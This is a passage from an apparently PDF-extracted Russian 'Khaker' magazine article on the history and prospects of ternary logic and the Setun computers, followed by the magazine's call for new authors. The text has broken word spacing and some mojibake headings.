для раз мещения боль шинс тва под прог рамм и обра баты ваемых ими дан ных,
обра щение к мед ленной внеш ней памяти сво дилось к миниму му.
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Са мое при ятное зак лючалась в том, что коман ды трех знач ной логики поз- 
воляли решать задачи мень шим чис лом опе раций в срав нении со сво ими
дво ичны ми соб рать ями. Оче вид но, это вылива лось в эко номию ресур сов,
как опе ратив ной памяти, так и про цес сорной мощ ности. В 1970 году была
выпуще на зна читель но усо вер шенс тво ван ная модель «Сетунь-70», с муль тис- 
тековой под дер жкой, обес печива ющей наилуч шую про изво дитель ность
для вычис лений с магазин ной переда чей про межу точ ных резуль татов (неч то
похожее было в пер вых совет ских мик рокаль кулято рах, нап ример в Б3-19М).

Но, увы, широкой популяр ности «Сетунь-70» так и не снис кала, да и сама
три логи ка, нес мотря на оче вид ные пре иму щес тва, была на дол гие годы
забыта, оста ваясь лишь в теоре тичес ких раз работ ках, ни одна из которых так
и не была воп лощена в закон ченную модель…

Èñòîðèÿ òðèëîãèêè

Три логи ка была сфор мулиро вана Лукасе вичем в 1920 году. В ней фигури- 
рова ли тер мы «исти на», «ложь» и «воз можно». В качес тве основных фун кций
рас смат ривались отри цание и импли кация. Про изводны ми от них счи тались
конъ юнкция и дизъ юнкция. Спус тя один год на свет появи лась обоб щенная n-
рич ная сис тема Пос та, которая опе риро вала дву мя видами отри цания: цик- 
личес кого и сим метрич ного.

N ([N = [x] + 1 ïðè [x] < n è [N n] = 1) x] 

N  ( [N x] = n – [x] + 1)

1 1 1

2 2

В булевой логике (n = 2) эти отри цания сов пада ют, но уже в три логи ке 
по-раз ному опе риру ют с эти ми логичес кими опе раци ями.

(n = 3)

В 1938 году была опуб ликова на так называ емая логика Боч вара, манипу- 
лиру ющая выс казыва ниями двух типов — име ющи ми смысл (истинные
или лож ные) и бес смыс ленны ми. В ней под держи валось три вида отри цаний:

 — внеш нее отри цание,  — внут реннее отри цание и  — внут реннее
отри цание внеш него утвер жде ния.
¬a ~a ã

Нем ногим поз же, в 1946 году, необ ходимость опи сания про цес сов кван- 
товой механи ки вынуди ла Рей хен баха соз дать свою модель три логи ки. Он
ввел три вида отри цаний: цик личес кое, диамет раль ное и пол ное, раз лича- 
ющиеся в основном их дей стви ем в отно шении «неоп ределен ности».

На заре раз вития вычис литель ной тех ники «сер дцем» любой ЭВМ было
реле — устрой ство, конс трук тивно сос тоящее из пары кон тактов, яко ря
и обмотки. Час то учеб ники информа тики при водят реле в качес тве «клас-
сичес кого» дво ично го эле мен та. На самом же деле сущес тво вали и поль- 
зовались боль шой популяр ностью так называ емые поляри зован ные реле,
замыка ющие раз личные кон такты в зависи мос ти от поляр ности сиг нала.
Конс трук тивно они отли чались лишь допол нитель ной груп пой кон тактов
и механиз мом балан сиров ки яко ря для удер жания его в ней траль ном положе- 
нии.

Ана логич но в сов ремен ных компь юте рах широко исполь зует ся так называ- 
емая динами чес кая память, сос тоящая из мно жес тва кон денса торов,
заряжен ное сос тояние которых трак тует ся логичес кой еди ницей, нап ротив,
раз ряжен ное — логичес ким нулем. На самом же деле каж дая ячей ка опе- 
ратив ной памяти компь юте ра — это тро ичный эле мент, спо соб ный находить- 
ся в трех сос тояниях: –1 (отри цатель ный заряд), 0 (нет заряда), +1 (положи- 
тель ный заряд). Эле мен тарная база боль шинс тва компь юте ров тро ична
по сво ей физичес кой при роде.

Трех ста биль ный триг гер тран зистор ной логики гораз до слож нее сво его
двух ста биль ного соб рата. Это и ста ло при чиной домини рова ния дво ичной
логики на ран них эта пах раз вития крем ниевой цивили зации. Тран зистор —
дво ичное устрой ство, обла дающее дву мя сос тояниями. «Открыт», если
на базу пода ется положи тель ный сиг нал, и «Зак рыт» в осталь ных слу чаях
(речь идет толь ко об эле мен тах p-n-p, пос коль ку про изводс тво тран зисто ров
n-p-n соп ряжено со зна читель ными тех нологи чес кими труд ностя ми).

Для эму ляции треть его сос тояния приш лось бы при бегать к слож ным
конс трук циям, вклю чающим в себя более одно го тран зисто ра, что понача лу
соч ли нераци ональ ным. Сегод ня же повышать про изво дитель ность компь- 
юте ров уве личе нием так товой час тоты ста новит ся труд нее, чем наращи вать
конс трук тивную слож ность чипа.

ÇÀÊËÞ×ÅÍÈÅ

Мож но ожи дать, что прог раммы, написан ные с исполь зовани ем тро ичной
логики, будут содер жать на порядок мень ше оши бок и сок ратят сро ки и зат- 
раты на пред варитель ное тес тирова ние. Но если все так хорошо, то почему
же до сих пор не реали зова но? Почему нам при ходит ся воевать с глю ками,
изыс кивать день ги на нек ста ти подоро жав шую опе ратив ную память, ког да
яко бы такие прос тые тех ничес кие при емы поз воля ют это го избе жать? Увы,
тро ичная логика озна чает пол ную несов мести мость с нашим мрач ным
битово-бай тным прош лым. При дет ся не толь ко переком пилиро вать все
сущес тву ющие наработ ки, но и соз давать новые язы ки. Ведь си, пас каль,
бей сик — все они проч но «при вяза ны» к дво ичной логике. Как минимум
еще одной очень серь езной проб лемой явля ется отсутс твие полуп ровод- 
никовых эле мен тов с тре мя ста биль ными сос тояниями и име ющих соиз- 
меримую слож ность с исполь зуемы ми сегод ня бинар ными логичес кими вен- 
тилями.

Впро чем, новый про цес сор может эму лиро вать ста рый, выиг рывая в про- 
изво дитель нос ти по при чинам, ука зан ным в начале статьи. В основном —
бла года ря уско рен ному дос тупу к памяти, за счет ее ком пак тно го пред став- 
ления. Разуме ется, и ядро, работа ющее на три логи ке, в какой-то сте пени
уве личит про изво дитель ность. Но оста ется откры тым воп рос: появит ся ли
под дер жка три логи ки для новых прог рамм? Или же это будет глу боко скры то
внут ри про цес сора?



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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